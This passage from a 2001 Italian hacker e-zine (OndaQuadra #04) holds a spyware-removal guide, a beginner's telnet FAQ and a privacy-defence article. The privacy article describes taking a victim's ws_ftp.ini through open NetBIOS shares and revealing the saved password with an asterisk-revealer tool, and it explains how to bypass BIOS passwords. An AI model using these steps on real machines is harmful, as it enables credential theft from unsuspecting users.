| 'amcis.dll' o 'amcis2.dll', lo stesso spyware si pu\'f2 installare anche come:   |\
| 'adimage.dll',                                                                |\
| 'ipcclient.dll', 'tadimage.dll', 'advert203.ocx', 'advertx.ocx',              |\
| 'anadsc.ocx', 'anadscb.ocx'                                                   |\
| e 'tfde.dll'. Niente male vero? Ma c'\'e8 ancora di pi\'f9, contenti? Immagino di   |\
| si ;)                                                                         |\
| Possono anche presentarsi sotto forma di directory: 'C:\\windows\\amc\\' o       |\
| 'C:\\windows\\amcdl',                                                           |\
| ma anche come file eseguibili: 'htmdeng.exe' o 'msipcsv.exe'.                 |\
|                                                                               |\
| Nota: il famigerato REALPLAYER installa 'Comet Cursor' (nient'altro che un    |\
| altro                                                                         |\
| file spia) che \'e8 possibile eliminare cancellando il file                      |\
| c:\\windows\\system\\comet.dll.                                                  |\
| ----------------------------------------------------------------------------- |\
|                                                                               |\
|                                                                               |\
| cat La_forma_tecnica_del_file_spia.txt                                        |\
| ----------------------------------------------------------------------------- |\
| Come ben saprete, tutti i programmi di winzoz, installati da voi stessi o a   |\
| vostra insaputa,                                                              |\
| creano delle chiavi di registro e nel nostro caso ne crea nei seguenti        |\
| "rami" del registro.                                                          |\
|                                                                               |\
| Nota: per avviare il registro premere il tasto 'Esegui' (Execute) del menu    |\
| Start e digitare:                                                             |\
| 'regedit'. Vi si aprir\'e0 l'Editor del Registro di sistema'. Controllate nelle  |\
| seguenti                                                                      |\
| cartelle voci strane che secondo voi potrebbero essere collegate agli         |\
| spyware, ma NON                                                               |\
| cancellatele. La cancellazione la fa un apposito programma che descriver\'f2     |\
| pi\'f9 avanti.                                                                   |\
|                                                                               |\
| HKEY_CLASSES_ROOT                                                             |\
| HKEY_CURRENT_USER (solo su winNT o win2000)                                   |\
| HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\{EBBFE288-BDF0-11D2-BBE5-00609419F46 |\
| pi\'f97\}                                                                         |\
| HKEY_CLASSES_ROOT\\Stub.CIEStubCLSID\\\{EBBFE27C-BDF0-11D2-BBE5-00609419F467\}    |\
| HKEY_CLASSES_ROOT\\Netscape\\StartingCLSID\\\{EBBFE288-BDF0-11D2-BBE5-00609419F46 |\
| 7\}                                                                            |\
| ----------------------------------------------------------------------------- |\
|                                                                               |\
|                                                                               |\
| cat Come_rimuovere_i_file_spia.txt                                            |\
| ----------------------------------------------------------------------------- |\
|                                                                               |\
| Rimuovere i "file spia", non \'e8 un operazione che si fa tutti i giorni,        |\
| quindi vi consiglio                                                           |\
| di leggere attentamente e di farlo una volta per tutte, ma soprattutto di     |\
| controllare bene                                                              |\
| quello che i shareware e freeware che scaricate dalla rete, installano sul    |\
| vostro pc.                                                                    |\
| Su internet potete cercare due software freeware che fanno a caso nostro:     |\
| AdAware e Optout.                                                             |\
| Non mi addentro a spiegare come usarli, anche perch\'e8 sono veramente facili    |\
| da trovare, da                                                                |\
| installare, da settare e da usare comunque basta solo settarli bene e fare    |\
| uno scan dell'hd                                                              |\
| alla ricerca di spyware, fa tutto in automatico, vi chieder\'e0 solo, alla fine  |\
| dello scan,                                                                   |\
| cosa vorrete fare degli spyware trovati. Voi risponderete DELETE,             |\
| CANCELLA!!!                                                                   |\
|                                                                               |\
| Nota: alcune volte, sia AdAware che Optout segnalano che il file \'e8 in uso da  |\
| winzoz. Beh \'e8 facile risolvere questo inghippo, basta solo riavviare il pc    |\
| in modalit\'e0                                                                   |\
| ms-dos e fare: del <nome_spyware.estensione>.                                 |\
| ----------------------------------------------------------------------------- |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
| cat Bugs_degli_spyware.txt                                                    |\
| ----------------------------------------------------------------------------- |\
|                                                                               |\
| Come il resto dei programmi che girano su winzoz, anche gli spyware hanno     |\
| bug, che strano                                                               |\
| vero?_?                                                                       |\
|                                                                               |\
| Tanto per dirne uno, quando usate Netscape pu\'f2 succedere che                  |\
| improvvisavemente si ha un                                                    |\
| crash e andando a vedere i dettagli si scopre che 'advert.dll' ne \'e8 la        |\
| causa.                                                                        |\
| Ta dan, visto, anche i programmi spia crashano sotto winzoz ;)                |\
| L'errore che si ottiene \'e8:                                                    |\
|                                                                               |\
| "general protection fault in mode advert.dll at xxxx:xxxxxxxx"                |\
|                                                                               |\
| NETSCAPE caused a general protection fault in module ADVERT.DLL at            |\
| xxxx:xxxxxxxx.                                                                |\
| Registers:                                                                    |\
| [...]                                                                         |\
| Bytes at CS:EIP:                                                              |\
| [...]                                                                         |\
| Stack dump:                                                                   |\
| [...]                                                                         |\
|                                                                               |\
| Un altro bug \'e8 quello di Internet Explorer 5.X quando si ottengono dei page   |\
| faults casuali                                                                |\
| che inchiodano, stranamente, il browser. A differenza del bug di Netscape,    |\
| in questo caso                                                                |\
| l'unica soluzione possibile per ovviare al problema \'e8 riavviare il pc.        |\
|                                                                               |\
| L'errore che si ottiene \'e8:                                                    |\
|                                                                               |\
| IEXPLORE caused an invalid page fault in                                      |\
| module KERNEL32.DLL at xxxx:xxxxxxxx                                          |\
|                                                                               |\
| L'ultimo bug che vi cito \'e8 quello del CuteFTP, noto programma di accesso a    |\
| server di tipo                                                                |\
| ftp. Anche in questo caso, come detto sopra, questo programma installa        |\
| automaticamente l'                                                            |\
| advert.dll' e se lo si cancella si ottiene un messaggio di 'installazione     |\
| corrotta'.                                                                    |\
| Il problema persiste finch\'e8 non si registra, o si crakka, il software. Dopo   |\
| di che si pu\'f2                                                                 |\
| cancellare il "file spia" senza problemi.                                     |\
| ----------------------------------------------------------------------------- |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
| cat Saluti.txt                                                                |\
| ----------------------------------------------------------------------------- |\
|                                                                               |\
| Un GRAZIE va a Linus Torvalds: se non esistessi, bisognerebbe inventarti.     |\
| Un saluto va a tutta la redazione di OndaQuadra, specialmente a Tritemius x   |\
| il supporto;                                                                  |\
| tutto il New-[world]-Bie Team; la BlackSun (Mikkkeee sei grande); tutta la    |\
| Tank Commandos                                                                |\
| Crew, specialmente SpiDEr2K, SPYR0, Screener_it, kEwL` e BiGAlex; agli amici  |\
| di #crack-it                                                                  |\
| e a tutti gli assidui frequentatori di #chihackerare e di #hackmaniaci.       |\
| ----------------------------------------------------------------------------- |\
| ---------------                                                               |\
|                                                                               |\
|                                                                               |\
| -EoF-                                                                         |\
|                                                                               |\
|                                                                               |\
| Per ogni ulteriore informazione, chiarimento o dubbio potete contattarmi via  |\
| e-mail o su                                                                   |\
| irc.                                                                          |\
|                                                                               |\
|                                                                               |\
|                                                                               |\
+-------------------------------------------------------------------------------+\
\
\
+-------------------------------------------------------------------------------+\
| ONDAQUADRA ~ [MiSC]                                          #04 - 19/11/2001 |\
| TELNET: 0VVER0 BASTA !!!!!                            [Screener_it] 0x14/0x23 |\
+-------------------------------------------------------------------------------+\
|                                                                               |\
|                                                                               |\
| Autore: Screener_it                                                           |\
| email: screener_it@freemail.it                                                |\
| URL: http://go.to/tankcommandos - www.tankcommandos.org                       |\
| DATA: 04/06/01                                                                |\
|                                                                               |\
| +_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_                          |\
|                                                                               |\
| Questo sar\'e0 l'ennesimo articolo del caxxo che scrivo, ma lo scrivo mentre     |\
| ricevo l'ennesima mail con l'ennesima richiesta "Mi spieghi come funziona     |\
| telnet ? Tutte le funzioni, tutti i comandi, ecc.."                           |\
|                                                                               |\
| Mi scuso con tutti quelli che leggerano questo articolo, purtroppo abbiamo    |\
| sbagliato e siamo partiti da un gradino sopra di quello che era lo zero       |\
| assoluto di conoscenze e adesso dobbiamo recuperare.                          |\
|                                                                               |\
| Se siete gi\'e0 hacker/newbie/wannabe/lamer passate oltre e non leggete, questo  |\
| txt \'e8 solo per il principiante + principiante.                                |\
|                                                                               |\
| Nel presente txt verr\'e0 fatto riferimento ad altri txt che potrete trovare     |\
| nella sezione Testi Nostri del sito del Tank Commandos se non \'e8 indicata      |\
| un'altra fonte.                                                               |\
|                                                                               |\
| +_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_+_                          |\
|                                                                               |\
| D = domanda                                                                   |\
| R = risposta                                                                  |\
|                                                                               |\
| =/\\=/\\=/\\=/\\=/\\=/\\=/\\=/\\=/\\=/\\=/\\=/\\=/\\=/\\=/\\=/\\=/\\=/\\                        |\
| =\\/=\\/=\\/=\\/=\\/=\\/=\\/=\\/=\\/=\\/=\\/=\\/=\\/=\\/=\\/=\\/=\\/=\\/                        |\
|                                                                               |\
| D.- Cos'\'e8 Telnet ?                                                            |\
|                                                                               |\
| R.-Telnet \'e8 un programma tramite il quale potrete collegarvi a qualsiasi      |\
| demone [se non sapete cos'\'e8 un demone andate a leggere "Le porte.. Cosa sono  |\
| ?" ]. Quindi potete collegarvi a ftpd, httpd, ircd, telnetd [la d alla fine   |\
| st\'e0 per demone, che spero saprai cosa sono !!], pop3, smpt, finger,           |\
| [l'elenco potrebbe andare avanti per pagine !!!!!!].                          |\
|                                                                               |\
| Praticamente con telnet potete collegarvi a qualsiasi programma che si        |\
| collega a internet. Ogni programma (demone) per\'f2 ha i suoi comandi            |\
| specifici, che posso essere diversi o uguali a quelli degli altri e possono   |\
| avere la stessa funzione o meno.                                              |\
| Ad esempio cc per una shell indica il compilatore di C, per l'smtp indica     |\
| l'utente di destinazione per esempio [non lo so, l'ho sparato l\'ec..].          |\
|                                                                               |\
| Quindi ogni demone ha i suoi comandi e le sue sintassi.                       |\
|                                                                               |\
| =/\\=/\\=/\\=/\\=/\\=/\\=/\\=/\\=/\\=/\\=/\\=/\\=/\\=/\\=/\\=/\\=/\\=/\\                        |\
|                                                                               |\
| D.-Come faccio a collegarmi a qualcosa con telnet ?                           |\
|                                                                               |\
| R.-Semplice !!                                                                |\
| Windows:                                                                      |\
| Start / Esegui / scrivete "Telnet" e cliccate Ok. Selezionate Connetti. Ora   |\
| Nome host: indirizzo dell'host a cui collegarsi                               |\
| Porta: numero della porta a cui collegarsi                                    |\
| tipo di terminale: lasciate stare per adesso !                                |\
|                                                                               |\
| Linux [da console]:                                                           |\
| telnet nomehost porta                                                         |\
|                                                                               |\
| =\\/=\\/=\\/=\\/=\\/=\\/=\\/=\\/=\\/=\\/=\\/=\\/=\\/=\\/=\\/=\\/=\\/=\\/                        |\
|                                                                               |\
| D.-Dammi qualcosa da scrivere nel nome host !                                 |\
|                                                                               |\
| R.-Nel nome host potete metterci qualsiasi cosa vi pare, telnettarvi a un     |\
| server tramite telnet NON E' REATO, \'e8 reato solo se provate a fare giochetti  |\
| deficienti e poi andate dagli amichetti a vantarvene !!                       |\
| Potete scriverci ad esempio l'indirizzo host del vostro smpt [es.             |\
| smtp3.libero.it, mail.clubnet.it, mail.katamail.com, ecc..]                   |\
| (in questo caso dovete scrivere nella porta il numero 25).                    |\
|                                                                               |\
| =/\\=/\\=/\\=/\\=/\\=/\\=/\\=/\\=/\\=/\\=/\\=/\\=/\\=/\\=/\\=/\\=/\\=/\\                        |\
|                                                                               |\
| D.-E adesso ?? Dimmi tutti i comandi !!                                       |\
|                                                                               |\
| R.-Ma allora sei scemo !!! Ogni singolo demone hai suoi comandi, come faccio  |\
| a spiegarteli tutti con le relative sintassi ???                              |\
| Calcolando che poi qualsiasi programmatore pu\'f2 crearsi un suo demone          |\
| particolare e che ogni versione avr\'e0 qualche nuovo comando la serie diventa   |\
| infinita !!                                                                   |\
|                                                                               |\
| Adesso ti faccio un paio di esempio per farvi capire:                         |\
|                                                                               |\
| FTP:                                                                          |\
| vi collegate a un qualsiasi server ftp (es. ftp.xoom.it, ftp.tripod.it,       |\
| ecc..) mettendo come nomehost uno dei due indirizzi indicati prima e come     |\
| porta il numero 21 (che \'e8 la porta del demone ftp) e vi collegate (con Win    |\
| cliccate "Connetti" con Linux basta che date l'invio).                        |\
| Appena vi sarete collegati avrete un breve msg dove indicher\'e0 il tipo di      |\
| demone. Ora dovete inserire nome utente e password. Come ? Semplice!          |\
| user NOMEUTENTE                                                               |\
| e poi cliccate invio.                                                         |\
| password DIGITATELAPASSWORD                                                   |\
| Ora avrete un msg di benvenuto che vi d\'e0 info sul server, sulle sue regole,   |\
| ecc.. Digitando help avrete i comandi supportati dal server.                  |\
|                                                                               |\
| TELNET:                                                                       |\
| vi collegate a un qualsiasi server che d\'e0 accesso telnet (es. nether.net,     |\
| freeshell.org) e come porta mettete 23 o scrivere telnet. Qua vi sar\'e0 subito  |\
| chiesto utente & password. Nei due siti che vi ho dato protete farvi shell    |\
| gratuite [vedi txt "Procurarsi una shell" per maggiori info] e otterrete id   |\
| & pass. Se li avete scrivete l\'ec. Altrimenti digitate newuser e vi sar\'e0        |\
| proposto un percorso d'iscrizione.                                            |\
|                                                                               |\
| I comandi di telnet sono uguali ai comandi di Unix anche se usate Windows.    |\
| Scrivete help e avrete decine di comandi possibili !                          |\
|                                                                               |\
| SMTP: (che \'e8 quello per spedire le email)                                     |\
| Vi collegate a un qualsiasi server SMTP (mail.clubnet.it, smtp3.libero.it,    |\
| ecc..) e come porta settate 25.                                               |\
| Vi troverete davanti a un msg di benvenuto che contiene versione demone,      |\
| data e ora, ecc..                                                             |\
| Voi rispondete con                                                            |\
| HELO nomeprovide.it                                                           |\
| il server vi risponder\'e0 e voi scriverete                                      |\
| mail from:<ecc...                                                             |\
| [ulteriori info su SMTP le trovate "Come spedire Fake Mail"]                  |\
|                                                                               |\
| POP3: (che \'e8 quello per ricevere/controllare le email)                        |\
| Vi collegate a un qualsiasi server POP3 (es. freemail.it,                     |\
| mail.netvision.net.il, ecc..) e come porta settate 110.                       |\
| Vi troverete davanti un msg con versione del demone, data, ora, ecc..         |\
| Per entrare qui avete bisogno di id & pass, che sono quelle che servono per   |\
| entrare nella mailbox.                                                        |\
| user NOMEUTENTE                                                               |\
| e poi                                                                         |\
| pass PASSWORD                                                                 |\
| a questo punto se id & pass sono corretti vi apparir\'e0 un msg che conterr\'e0     |\
| anche "Mailbox open, x messages" dove al posto di X troverete il numero dei   |\
| messaggi.                                                                     |\
| [ulteriori info su POP3 leggerete "Usare i POP3 a mano"].                     |\
|                                                                               |\
|                                                                               |\
| Poi ogni demone ha i suoi particolari comandi, digitate HELP per avere        |\
| l'elenco dei comandi. Semplice, no ?                                          |\
|                                                                               |\
| =\\/=\\/=\\/=\\/=\\/=\\/=\\/=\\/=\\/=\\/=\\/=\\/=\\/=\\/=\\/=\\/=\\/=\\/                        |\
|                                                                               |\
| D.-Ma io per andare su FTP uso Ws_ftp che \'e8 pi\'f9 comodo, per la posta uso      |\
| Eudora, mica telnet, ecc..                                                    |\
|                                                                               |\
| R.-Giusto. I programmi che usate sono stati studiati per\'f2 solo per essere     |\
| usati con un dato demone. Ad esempio con ws_Ftp non potrete leggere le mail,  |\
| ecc..                                                                         |\
| Telnet \'e8 un collettino svizzero multiuso, certo che il suo uso \'e8 magari +     |\
| complicato rispetto ad altri programmi. Per\'f2 ha il vantaggio di essere        |\
| universale ed utile in caso di mancanza dei suddetti programmi [es. vuoi      |\
| controllare la tua posta a scuola ? X\'f2 \'e8 solo Pop3 e non c'\'e8 Outlook.. Usi    |\
| Telnet !].                                                                    |\
|                                                                               |\
| In pi\'f9 telnet \'e8 utile nell'hacking, quando bisogna dare particolari comandi   |\
| ed \'e8 utilissimo nell'uso delle shell su un sistema Unix quando siete su un    |\
| sistema Windows.                                                              |\
|                                                                               |\
| =/\\=/\\=/\\=/\\=/\\=/\\=/\\=/\\=/\\=/\\=/\\=/\\=/\\=/\\=/\\=/\\=/\\=/\\                        |\
|                                                                               |\
| Bene, mi pare che sia tutto.                                                  |\
| OVVIAMENTE l'argomento non finisce qui, anzi !! Come vi ho detto telnet \'e8 un  |\
| programma universale con miliardi di comandi possibili. E' solo un mio        |\
| tentativo di spiegare il funzionamento di telnet ai principianti e salvarmi   |\
| finalmente da 300.000.000.000 mail che ricevo "Come si usa telnet ?".         |\
|                                                                               |\
| Ricordate cmq che i comandi delle shell sono li stessi dei sistemi *nix like  |\
| quindi se studiate i comandi di Linux, Unix, ecc.. sarete + facilitati nelle  |\
| shell. Le shell sono poi molto utili per imparare a maneggiare questi         |\
| sistemi operativi senza necessariamente installarli.                          |\
|                                                                               |\
| Screener_it                                                                   |\
| screener_it@freemail.it                                                       |\
| http://go.to/tankcommandos - www.tankcommandos.org                            |\
|                                                                               |\
| "Gli inquisitori hanno tentato di spezzare i nostri corpi e di catturare le   |\
| nostre anime, ci hanno chiesto di rinnegare i nostri padri e di maledire il   |\
| nostro sangue, hanno distrutto le nostre case e bruciato le nostre donne,     |\
| hanno tentato di uccidere la speranza e ci hanno detto che tu eri morto. Che  |\
| mai saresti ritornato, che il freddo e la notte ti avevano seppellito ma noi  |\
| sappiamo che tu sei vivo e che tornerai trionfante, noi sappiamo che tu ardi  |\
| nel pi\'f9 profondo dei nostri cuori e che brucerai nel pi\'f9 profondo dei nostri  |\
| figli e dei figli dei nostri figli eternamente.                               |\
| Perch\'e8 tu sei la forza che guida le nostre braccia e porta la nostra spada,   |\
| tu sei il messaggio di libert\'e0 e manifestazione di ogni vita.                 |\
| E per questo, per la fiamma e la roccia, per la fonte e l'albero che ti       |\
| salutiamo.                                                                    |\
| Tu, verso cui si alza il volo delle oche selvatiche, tu odiato dai preti e    |\
| amato dai guerrieri. Tu nostro fratello, nel riposo e nel combattimento, tu   |\
| l'invincibile, tu il solo !"                                                  |\
|                                                                               |\
| G.B. - Iterum Rudit Leo                                                       |\
|                                                                               |\
+-------------------------------------------------------------------------------+\
\
\
+-------------------------------------------------------------------------------+\
| ONDAQUADRA ~ [MiSC]                                          #04 - 19/11/2001 |\
| DiFENDiAM0 LA N0STRA PRiVACY                             [tdi110cv] 0x15/0x23 |\
+-------------------------------------------------------------------------------+\
|                    (ovvero difendiamo i nostri dati)                          |\
+-------------------------------------------------------------------------------+\
|                                                                               |\
| E' un mondo difficile ... che vita intensa ...                                |\
| E allora proprio per questo ci siamo noi a rilassarvi no ?! :PPP              |\
| In questo periodo , con tutti i disastri successi per il mondo e non solo ,   |\
| siamo bersagliati , mitragliati , insomma nessuno vuol farsi i cazzi suoi.    |\
| Partendo dai lama i quali giocando al piccolo hacker sono sempre alla         |\
| ricerca di dati e quant'altro per i loro luridi scopi , passando per          |\
| numerosi                                                                      |\
| siti i quali con i loro <biscottini> arrivano a tracciare usi e abusi del     |\
| nostro picci , arrivando infine a organizzazioni purtroppo legali i quali     |\
| con i loro programmini del cazzo cosiddetti Spyware riescono a monitorare     |\
| cosa scarichiamo , cosa eseguiamo , e che siti visitiamo.                     |\
| Se ci pensate bene la cosa e' ben preoccupante.                               |\
| Uno perch\'e8 pochissima gente e' al corrente di come stanno effettivamente le   |\
| cose da quando accendiamo il modem a quando lo spegniamo , due perch\'e8         |\
| nessuno tende a tutelarci o quantomeno a metterci in guardia.                 |\
| P.S. Evviva il censimento 2001 (della serie chi l'ha compilato ?! ehehehe)    |\
| Quindi analizzeremo di seguito tutti i modi possibili e immaginabili , poi    |\
| se ne conoscete altri fateme sapere , per evitare che in tutti i casi         |\
| niente e nessuno possa approfittarsi di noi.                                  |\
| 'TDI io ho il firewall ... e invece io ho eliminato il protocollo Netbeui'    |\
| Ba e a me ca cazzo me frega ? Credete sia sufficiente ?                       |\
| Vi dico subito che non e' affatto sufficiente.                                |\
| Le cose infatti sono ben piu' complesse di come i comuni media cercano di     |\
| mettervi nella capoccia dico pero' i comuni media non quelli onesti come      |\
| noi :PPPPP ; e pensare che vogliono arrestarci ...                            |\
| Cmq sia cominciamo a dare una occhiata a tutti gli accorgimenti diciamo       |\
| standard per evitare di farci trovare impreparati.                            |\
| Partiamo dalle cose basilari.                                                 |\
| Come risaputo ogni sistema operativo non e' sicuro... e fin qui non ci        |\
| piove.                                                                        |\
| Non essendo sicuro e' possibile che qualche lameraccio bastardo possa         |\
| rubarci dati e utilizzarli per i suoi scopi meschini.                         |\
| Detto questo cominciamo a stilare una serie di norme di sicurezza dalle       |\
| quali                                                                         |\
| un utente anche solo se lievemente paranoico dovrebbe tenere sempre ben       |\
| presenti.                                                                     |\
| Innanzi tutto la cosa principale da fare e' verificare quali siano le         |\
| problematiche che affliggono il nostro S.O. (S.O. = sistema operativo).       |\
| Vi assicuro che bug e trojan non verranno a mancare.                          |\
| Per far questo nessuno vi chiede di essere esperti , poich\'e8 in giro per la    |\
| rete vi sono siti che lo fanno per voi. Accedendovi infatti non faranno       |\
| altro che la verifica da remoto del vostro sistema operativo oppure vi        |\
| troverete al suo interno una lista dei bug piu' conosciuti riguardanti il     |\
| vostro S.O. .                                                                 |\
| Vi cito il mitico http://www.guninski.com , http://scan.sygatetech.com ,      |\
| oppure www.privacy.net dove vi troverete notevoli software e informazioni.    |\
| Tenete presente che gi\'e0 il fatto di possedere software male utilizzato o      |\
| addirittura inutilizzato , tanto per occupare spazio su disco , non e' una    |\
| buona abitudine.                                                              |\
| Verificati poi i possibili problemi che affliggono il nostro bene amato S.O.  |\
| la prima cosa da fare e' correre ai ripari presso i principali siti di        |\
| sicurezza oppure presso quelli ufficiali che distribuiscono il nostro         |\
| software.                                                                     |\
| Comunque tenete presente che per ogni S.O. disponibile sul mercato , sia      |\
| open                                                                          |\
| che non , sono reperibili sulla rete numerosi siti che distribuiscono patch   |\
| per ogni bug trovato. Spesso a distribuire queste patch sono le stesse case   |\
| ufficiali , altre volte le case se ne sbattono le scatole e noi per cercare   |\
| queste patch dobbiamo rivolgersi altrove.                                     |\
| Ma non e' ancora tutto per quanto riguarda i bug del software infatti         |\
| facendo                                                                       |\
| cosi' non avete fatto altro che scaricare le patch per i problemi piu'        |\
| critici. E dove mettiamo i problemi derivanti dall'uso di programmi di        |\
| qualsiasi altra natura come Browser , gestori di posta , antivirus , client   |\
| di ogni genere , demoni , ecc. ?                                              |\
| E certo ... anche questi dovranno essere verificati e aggiornati.             |\
| Per fare anche questa operazione potrete avvalervi dello strepitoso nonch\'e9    |\
| immancabile catchup reperibile sul sito ufficiale.                            |\
| Esso provveder\'e0 a darvi ogni minima informazione in merito a tutti i bug      |\
| che affliggono la piu' varia tipologia di software in circolazione            |\
| analizzando ,                                                                 |\
| chiaramente , solo quelli che avrete installato sulla vostra macchina.        |\
| Non meno importante vi suggerisce anche dove andare a reperire i fix.         |\
| Bene bene ... stiamo camminando la strada della sicurezza anche se la stessa  |\
| e'                                                                            |\
| ancora piuttosto lunga e ricca di ostacoli.                                   |\
| A questo punto e' d'obbligo puntualizzare tutti gli eventuali danni           |\
| possibili                                                                     |\
| e derivanti da Active-X , java script , che possono essere usati da utenti    |\
| 'malicius'.                                                                   |\
| E i Cookies questi famosi biscottini , all'apparenza innoqui , ma che spesso  |\
| vengono utilizzati per schematizzare il profilo delle vostre abitudini e      |\
| tracciare i                                                                   |\
| vostri movimenti.                                                             |\
| State in campana quindi con le configurazioni di default dei vari browser in  |\
|                                                                               |\
| circolazione. Spesso infatti essi non si curano di questi possibili problemi  |\
| e conseguentemente dovrete essere voi a settarli come meglio credete.         |\
| Insisto pero' sul fatto che i settaggi di default sono un grosso pericolo     |\
| per                                                                           |\
| la vostra privacy.                                                            |\
| Ogni browser che si rispetti ha comunque la possibilita' di configurare       |\
| a piacimento tutti i parametri necessari per poter stare tranquilli almeno    |\
| da questo punto di vista.  (sempre che voi abbiate patchato eventuali falle)  |\
| Altra cosa piuttosto preoccupante sono gli spyware che pero' il mio collega   |\
| Mighty                                                                        |\
| ha gi\'e0 provveduto a trattare in un articolo incluso in questo numero ,        |\
| quindi                                                                        |\
| leggetevi bene cio' che lui ha scritto perch\'e8 merita proprio e onestamente    |\
| io non                                                                        |\
| sarei riuscito a scrivere di meglio.                                          |\
| Passiamo quindi a parlare di un argomento che al giorno d'oggi sembra essere  |\
| di vitale importanza.                                                         |\
| Si cari ... sto parlando proprio dei virus , degli worms , e dei trojan.      |\
| Purtroppo pero' per parlarne approfonditamente non basterebbe una             |\
| enciclopedia ,                                                                |\
| quindi per evitare che jey mi rompa il culo per avergli spedito un documento  |\
|                                                                               |\
| di enormi dimensioni cerchero' di essere piu' breve possibile.                |\
| Trojan , virus , worms , che sono ?                                           |\
| Be riassumiamo dicendo che non sono altro che programmi scritti per arrecare  |\
|                                                                               |\
| danno a qualsiasi sistema informatico , sia esso costituito da una            |\
| workstation                                                                   |\
| semplice oppure costituito da piu' computer in rete.                          |\
| Personalmente non faccio distinzione tra le tre tipologie di codice ,         |\
| secondo me                                                                    |\
| infatti sono comunque tutti dei virus e basta !!!                             |\
| Onestamente non penso sia il caso di andare oltre , altrimenti dovrei         |\
| cominciare                                                                    |\
| a entrare nel merito di ognuno e cominciare a spiegarne il singolo            |\
| funzionamento.                                                                |\
| Vabb\'e8 magari sarebbe il caso di buttare gi\'f9 una rubrica dedicata no ?         |\
| Per tagliar corto vi suggerisco di scaricare un buon antivirus e tenerlo      |\
| aggiornato ,                                                                  |\
| di non eseguire nulla di quello che vi arriva via e-mail , neanche se chi ve  |\
| lo spedisce                                                                   |\
| e' un vostro caro amico poich\'e9 anche lui potrebbe non sapere di avere il      |\
| picci infetto ,                                                               |\
| ne tantomeno nulla di tutto quello che scaricate dalla rete se non            |\
| preventivamente                                                               |\
| controllato con un opportuno antivirus.                                       |\
| Suggerisco Norton Antivirus , F-Prot , AVP , insomma questi son quelli che    |\
| io                                                                            |\
| utilizzo ma in circolazione ce ne sono una marea.                             |\
| Ovviamente sottolineo nuovamente l'importanza di tenerlo aggiornato.          |\
| N.B. Per tutti quelli che usano linux e che credono di essere tranquilli.     |\
| Bene per voi le cose sono un pochino migliori , infatti i virus per linux     |\
| sono                                                                          |\
| in netta minoranza , ma esistono ... Backdoor , worm , e caxxate varie anche  |\
|                                                                               |\
| per linux quindi all'occhio al codice che scaricate e che eseguite.           |\
| Per dirvene una circa un mesetto fa usci' un bell'exploit per l'ultima        |\
| release                                                                       |\
| di warftpd. Bene questo conteneva un bel comando di seccamento dei dati del   |\
| vostro                                                                        |\
| povero pinguino(sapete quel bel rm -rf ). Magari un antivirus non avrebbe     |\
| fatto                                                                         |\
| nulla ma era solo per farvi capire che le lamerate ci sono per ogni S.O.      |\
| Per non parlare poi di una marea di rpm backdorati.                           |\
| Poi ... che c'\'e8 da dire ... ehm ... an si si si !!!                           |\
| Questo famoso netbios ... bene bene questo e' il metodo piu' lama del mondo   |\
| ma fornisce notevoli risultati a chi vuol arrecarvi danno.                    |\
| La possibilita' infatti di avere per default attiva la condivisione dei file  |\
|                                                                               |\
| e' altissima.                                                                 |\
| Grazie a questi sudici settaggi chiunque puo' avere accesso al vostro disco   |\
| e di conseguenza alle risorse condivise.                                      |\
| Nella maggior parte dei casi su internet si trovano una marea di utenti       |\
| che a loro insaputa hanno tutto il disco condiviso.                           |\
| Che cosa comporta questo ?                                                    |\
| Molto semplice , questo comporta semplicemente che qualsiasi documento        |\
| personale ,                                                                   |\
| e non , puo' esservi sottratto.                                               |\
| Se il documento e' una foto di Pamela Anderson onestamente non ci frega na    |\
| mazza no ?!                                                                   |\
| Ma se il documento sottrattovi contiene i vostri dati personali oppure dati   |\
| relativi alla vostra flat internet ?                                          |\
| Insomma mi pare di essere stato chiaro no ?                                   |\
| Come no ?!                                                                    |\
| Caspita se vi fottono la mail di conferma del vostro abbonamento ad internet  |\
| ,                                                                             |\
| magari ADSL , lo fanno cosi' per avere un po' di file in piu' o lo fanno per  |\
| poter utilizzarla alla facciazza vostra ?                                     |\
| Ecco ... chiaro no ?!                                                         |\
| Vi assicuro che la gente che non pensa ad evenienze simili e' tantissima ,    |\
| molta                                                                         |\
| di piu' di quello che voi potete pensare.                                     |\
| Alla fine evitate di piazzare sulla vostra 'macchina' qualsiasi documento     |\
| inerente                                                                      |\
| alla vostra privacy.                                                          |\
| Approposito perch\'e8 non accenniamo alle famose BIOS password ?                 |\
| Ba forse perch\'e8 tutto il mondo sa che in 10 secondi questa protezione puo'    |\
| essere                                                                        |\
| bypassata.                                                                    |\
| 'Hei TDI io non lo saccio me spieghi ?'                                       |\
| Vabb\'e8 allora per sto mentecatto diro' semplicemente che resettando il bios    |\
| della                                                                         |\
| mainboard oppure estraendone la relativa batteria la bios password non sara'  |\
| piu'                                                                          |\
| un problema , e non sto qua a specificarvi che spesso le mainboard hanno la   |\
| loro                                                                          |\
| password standard. (vabb\'e8 oramai l'ho detto)                                  |\
| Quindi evitate di fare affidamento su strumenti simili.                       |\
| Infine state attenti a tutto cio' che fate sul web , history , file           |\
| temporanei e                                                                  |\
| roba simile dovrebbe essere eliminata , soprattutto nel caso foste assidui    |\
| clienti di negozi on-line , oppure se vi capita spesso di leggere e-mail via  |\
| web.                                                                          |\
| Inoltre evitate di tenere memorizzate le vostre password qualsiasi sia il     |\
| vostro client in uso.                                                         |\
| Gli asterischi sono infatti facilmente convertibili nella relativa password   |\
| mediante                                                                      |\
| svariati tool in rete.                                                        |\
| Se volete provarci un pochino scaricate da neworder.box.sk lo 'SNITCH' e      |\
| vedrete                                                                       |\
| l'estrema facilita d'uso nonch\'e9 il sorprendente risultato.                    |\
| Per dirvene una spesso mi capita di vedere utenti che utilizzano ws_ftp come  |\
|                                                                               |\
| client ftp.                                                                   |\
| Ipotizziamo che noi mediante netbios riusciamo a prelevare il buon            |\
| ws_ftp.ini.                                                                   |\
| Voi direte che me ne faccio di quel .ini ?                                    |\
| Be semplice essendo il file di inizializzazione del client in oggetto lo      |\
| potremmo                                                                      |\
| dare in pasto allo stesso client , preventivamente installato sul nostro      |\
| picci , attivare                                                              |\
| 'snitch' passarci sopra con il mouse e avremo in chiaro la password usata     |\
| dall'ignaro utente per connettersi ai suoi ftp preferiti.                     |\
| Che dire quindi ? Be c'\'e8 da dire che a quel punto solo la nostra fantasia     |\
